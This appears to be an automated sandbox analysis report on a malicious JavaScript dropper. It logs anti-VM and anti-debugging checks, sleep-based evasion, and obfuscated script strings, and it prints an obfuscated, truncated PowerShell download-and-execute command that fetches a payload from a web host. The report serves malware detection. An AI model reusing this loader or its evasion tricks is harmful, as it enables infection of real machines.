                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1813Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2859Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6881Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWindow / User API: threadDelayed 3804Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWindow / User API: threadDelayed 6015Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7704Thread sleep time: -922337203685477s >= -30000sJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7776Thread sleep count: 2859 > 30Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7776Thread sleep count: 6881 > 30Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7808Thread sleep time: -20291418481080494s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep count: 32 > 30Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -29514790517935264s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -100000s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8056Thread sleep count: 3804 > 30Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -99875s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8056Thread sleep count: 6015 > 30Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -99765s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -99656s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -99546s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -99437s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -99328s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -99218s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -99109s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -98999s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -98890s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -98781s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -98672s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -98562s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -98444s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -98328s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -98202s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -97956s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -97776s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -97655s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -97547s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -97437s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -97328s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -97218s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -97099s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -96968s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -96859s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -99985s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -99860s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -99735s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -99610s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -99485s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -99360s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -99235s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -99110s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -98981s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -98875s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -98765s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -98641s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -98422s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -98231s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -98121s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -98015s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -97906s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -97797s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -97684s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -97578s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -97469s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -97359s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -97250s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -97141s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -97031s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -96908s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 8052Thread sleep time: -96782s >= -30000sJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 100000Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 99875Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 99765Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 99656Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 99546Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 99437Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 99328Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 99218Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 99109Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 98999Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 98890Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 98781Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 98672Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 98562Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 98444Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 98328Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 98202Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 97956Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 97776Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 97655Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 97547Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 97437Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 97328Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 97218Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 97099Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 96968Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 96859Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 99985Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 99860Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 99735Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 99610Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 99485Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 99360Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 99235Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 99110Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 98981Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 98875Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 98765Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 98641Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 98422Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 98231Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 98121Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 98015Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 97906Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 97797Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 97684Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 97578Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 97469Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 97359Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 97250Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 97141Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 97031Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 96908Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 96782Jump to behavior
                      Source: powershell.exe, 00000004.00000002.1566950890.000001A8F125F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW2225%SystemRoot%\system32\mswsock.dllU
                      Source: RegAsm.exe, 00000007.00000002.2699963900.0000000002C21000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMware
                      Source: wscript.exe, 00000000.00000003.1402368132.00000269BA08D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1393688812.00000269B9B82000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1394747074.00000269B9507000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1402791922.00000269B9B80000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1393885679.00000269B9E22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1402564826.00000269B9A28000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1394877839.00000269B9B81000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1402669733.00000269B951D000.00000004.00000020.00020000.00000000.sdmp, INQUIRY#46789_MAT24_NEW_PROJECT_SAMPLE.jsBinary or memory string: var OHGWLHQqcGciercNBjLWCcfjWzosdLtdcTIGvPnnUegQezcHqLUfomZLLLdvtLCWRzhGfSqZWcanKROiLWiOGgfvRZWkWcOPObNWUWKfLWbhLGGpkcUhaxRhTTtcWfoWLUtktTlLLsPlWLcllcGokRKKLCJKGilzqOUviibWLsIbTpocqAckGpaUbCgKcAfoWeeeoLLr = "mLLLTZWKcWZINIoBcZWieHesiCLchBKWKLpLGKBWBWSkslscoorhfAKzhbTOWfhUmbIBKcUaiLidAiQkNnfWqamQGebbRCfWipqpufbhLWZZdceWicWcRKLWaBiceUNejnJqWcuiczmZjcNBLkQNAPfLtmJteNfmKubfdfNhCuKWtUqfoLhfGQLgGcLGhdPNfZzcxboc";
                      Source: wscript.exe, 00000000.00000003.1402368132.00000269BA08D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1402106268.00000269B9E9A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1395942369.00000269B9DBD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OHGWLHQqcGciercNBjLWCcfjWzosdLtdcTIGvPnnUegQezcHqLUfomZLLLdvtLCWRzhGfSqZWcanKROiLWiOGgfvRZWkWcOPObNWUWKfLWbhLGGpkcUhaxRhTTtcWfoWLUtktTlLLsPlWLcllcGokRKKLCJKGilzqOUviibWLsIbTpocqAckGpaUbCgKcAfoWeeeoLLr
                      Source: INQUIRY#46789_MAT24_NEW_PROJECT_SAMPLE.jsBinary or memory string: var KWhOBjNiWbLLqNZPcLKoeqLzhNlGiLUiWdzipKOticvZfkxLNRkWWimWbdxNLeliSvLLrhzUmWLxbLkaWedLLGGcWcKmUfzpcKbCGenCttoKtcLbjUKeNLzLzLvvGbANufPRLfsfbefAHUGkGLeQLmkCbLxLTPzWxGIZHLbrKLLNhNUnLxiLWAGlgKoPNaAAIPKUPtoO = "kWkmqAbxbrqCWsKLtebdgPbAjRQGBbRLGkPBAmGfGIofQqfLKLZLmKbCGoLneZzKNsKTWeSLciBsfLAAPoaSWcicRtehLfHKkoGLRqmLnduatexmKovhWgAArUZpKvNHeWnokLpNBLigLKLgcWWPShULdbWzWLifcAkPaULAWPWWaLZLGKibhnAekgWcLcGNKNoPWCbk";
                      Source: RegAsm.exe, 00000007.00000002.2699963900.0000000002C21000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmware
                      Source: wscript.exe, 00000000.00000003.1395793371.00000269B9E05000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: cJkZATWWmOhiSbAiWLLiIOHQiGeWxuWtNUoTcWGPbKNGkGActabKIiAWnkLLBvzLZnAHGfSxsNKNiKNeLmWWiLiNxWzACoKGWotoZTSBrdibicWnGhbUkkZZLczZpcsUCApLZUiOsiLiPbrmifpUWffniWBAcLWWWGZacKppWGzxWJLLiWerCNLlSAAbnWxjkaBmGLKk
                      Source: wscript.exe, 00000000.00000003.1395454803.00000269B9EB5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: KWhOBjNiWbLLqNZPcLKoeqLzhNlGiLUiWdzipKOticvZfkxLNRkWWimWbdxNLeliSvLLrhzUmWLxbLkaWedLLGGcWcKmUfzpcKbCGenCttoKtcLbjUKeNLzLzLvvGbANufPRLfsfbefAHUGkGLeQLmkCbLxLTPzWxGIZHLbrKLLNhNUnLxiLWAGlgKoPNaAAIPKUPtoO
                      Source: wscript.exe, 00000000.00000003.1402368132.00000269BA08D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1393688812.00000269B9B82000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1394747074.00000269B9507000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1402791922.00000269B9B80000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1393885679.00000269B9E22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1402564826.00000269B9A28000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1394877839.00000269B9B81000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1402669733.00000269B951D000.00000004.00000020.00020000.00000000.sdmp, INQUIRY#46789_MAT24_NEW_PROJECT_SAMPLE.jsBinary or memory string: var lrURvrjImobGlKhhchnceeJCGtZaczaWAqALGmpfoxjWGRLGGcWanedldOWgGccfeSWAkicUfzmKWLzWcqLlvQLUifKLuAWsCGpxZikzbskOpALZieoGLeSeLfcCUoWuctWcGLBiPqrAJfkliRhWLWLicopxKiKZiKIGullcaGzzLbZugxheWKRerKlJeWzLGfCPlmTm = "cJkZATWWmOhiSbAiWLLiIOHQiGeWxuWtNUoTcWGPbKNGkGActabKIiAWnkLLBvzLZnAHGfSxsNKNiKNeLmWWiLiNxWzACoKGWotoZTSBrdibicWnGhbUkkZZLczZpcsUCApLZUiOsiLiPbrmifpUWffniWBAcLWWWGZacKppWGzxWJLLiWerCNLlSAAbnWxjkaBmGLKk";
                      Source: RegAsm.exe, 00000007.00000002.2697144825.0000000000402000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: VMwareVBox
                      Source: wscript.exe, 00000000.00000003.1402368132.00000269BA08D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: cJkZATWWmOhiSbAiWLLiIOHQiGeWxuWtNUoTcWGPbKNGkGActabKIiAWnkLLBvzLZnAHGfSxsNKNiKNeLmWWiLiNxWzACoKGWotoZTSBrdibicWnGhbUkkZZLczZpcsUCApLZUiOsiLiPbrmifpUWffniWBAcLWWWGZacKppWGzxWJLLiWerCNLlSAAbnWxjkaBmGLKk@a
                      Source: RegAsm.exe, 00000007.00000002.2712744340.000000000604A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior

                      Anti Debugging

                      barindex
                      Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 7_2_011B6924 CheckRemoteDebuggerPresent,7_2_011B6924
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess queried: DebugPortJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: page read and write | page guardJump to behavior

                      HIPS / PFW / Operating System Protection Evasion

                      barindex
                      Yara detected Powershell download and execute
                      Source: Yara matchFile source: amsi64_7728.amsi.csv, type: OTHER
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7564, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTR
                      Bypasses PowerShell execution policy
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?x? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?2? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?MQ? ? ? ? ?w? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bo? ? ? ? ?G4? ? ? ? ?bwB0? ? ? ? ?GU? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?v? ? ? ? ?GQ? ? ? ? ?ZQBh? ? ? ? ?HQ? ? ? ? ?a? ? ? ? ?Bu? ? ? ? ?G8? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?C4? ? ? ? ?agBw? ? ? ? ?Gc? ? ? ? ?Jw? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?dwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?TgBl? ? ? ? ?Hc? ? ? ? ?LQBP? ? ? ? ?GI? ? ? ? ?agBl? ? ? ? ?GM? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?TgBl? ? ? ? ?HQ? ? ? ? ?LgBX? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?EI? ? ? ? ?eQB0? ? ? ? ?GU? ? ? ? ?cw? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C4? ? ? ? ?R? ? ? ? ?Bv? ? ? ? ?Hc? ? ? ? ?bgBs? ? ? ? ?G8? ? ? ? ?YQBk? ? ? ? ?EQ? ? ? ? ?YQB0? ? ? ? ?GE? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBV? ? ? ? ?HI? ? ? ? ?b? ? ? ? ?? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?Bb? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EU? ? ? ? ?bgBj? ? ? ? ?G8? ? ? 